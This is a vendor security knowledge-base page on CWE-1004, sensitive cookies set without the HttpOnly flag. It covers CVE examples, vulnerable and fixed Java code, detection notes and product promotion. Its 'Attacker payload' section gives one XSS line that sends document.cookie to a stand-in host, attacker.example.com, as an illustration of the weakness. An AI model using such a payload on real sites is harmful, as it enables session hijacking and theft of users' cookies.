CWE-1004 Variant Incomplete Medium likelihood

Sensitive Cookie Without 'HttpOnly' Flag

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Definition

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data. Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Real-world impact

Real-world CVEs caused by CWE-1004

  • CVE-2022-24045

    Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

  • CVE-2014-3852

    CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

  • CVE-2015-4138

    Appliance for managing encrypted communications does not use HttpOnly flag.

How attackers exploit it

Step-by-step attacker path

  1. 1

    In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

  2. 2

    The snippet of code below establishes a new cookie to hold the sessionID.

  3. 3

    The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

  4. 4

    When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

  5. 5

    To mitigate the risk, use the setHttpOnly(true) method.

Vulnerable code example

Vulnerable Java

The snippet of code below establishes a new cookie to hold the sessionID.

Vulnerable Java 
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  response.addCookie(c);
Attacker payload

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Attacker payload JavaScript 
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Secure code example

Secure Java

To mitigate the risk, use the setHttpOnly(true) method.

Secure Java 
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  c.setHttpOnly(true);
  response.addCookie(c);
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Prevention checklist

How to prevent CWE-1004

  • Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Detection signals

How to detect CWE-1004

Automated Static Analysis High

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Plexicus auto-fix

Plexicus auto-detects CWE-1004 and opens a fix PR in under 60 seconds.

Codex Remedium scans every commit, identifies this exact weakness, and ships a reviewer-ready pull request with the patch. No tickets. No hand-offs.

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Frequently asked questions

Frequently asked questions

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

How serious is CWE-1004?

MITRE rates the likelihood of exploit as Medium — exploitation is realistic but typically requires specific conditions.

What languages or platforms are affected by CWE-1004?

MITRE lists the following affected platforms: Web Based.

How can I prevent CWE-1004?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

How does Plexicus detect and fix CWE-1004?

Plexicus's SAST engine matches the data-flow signature for CWE-1004 on every commit. When a match is found, our Codex Remedium agent opens a fix PR with the corrected code, tests, and a one-line summary for the reviewer.

Where can I learn more about CWE-1004?

MITRE publishes the canonical definition at https://cwe.mitre.org/data/definitions/1004.html. You can also reference OWASP and NIST documentation for adjacent guidance.

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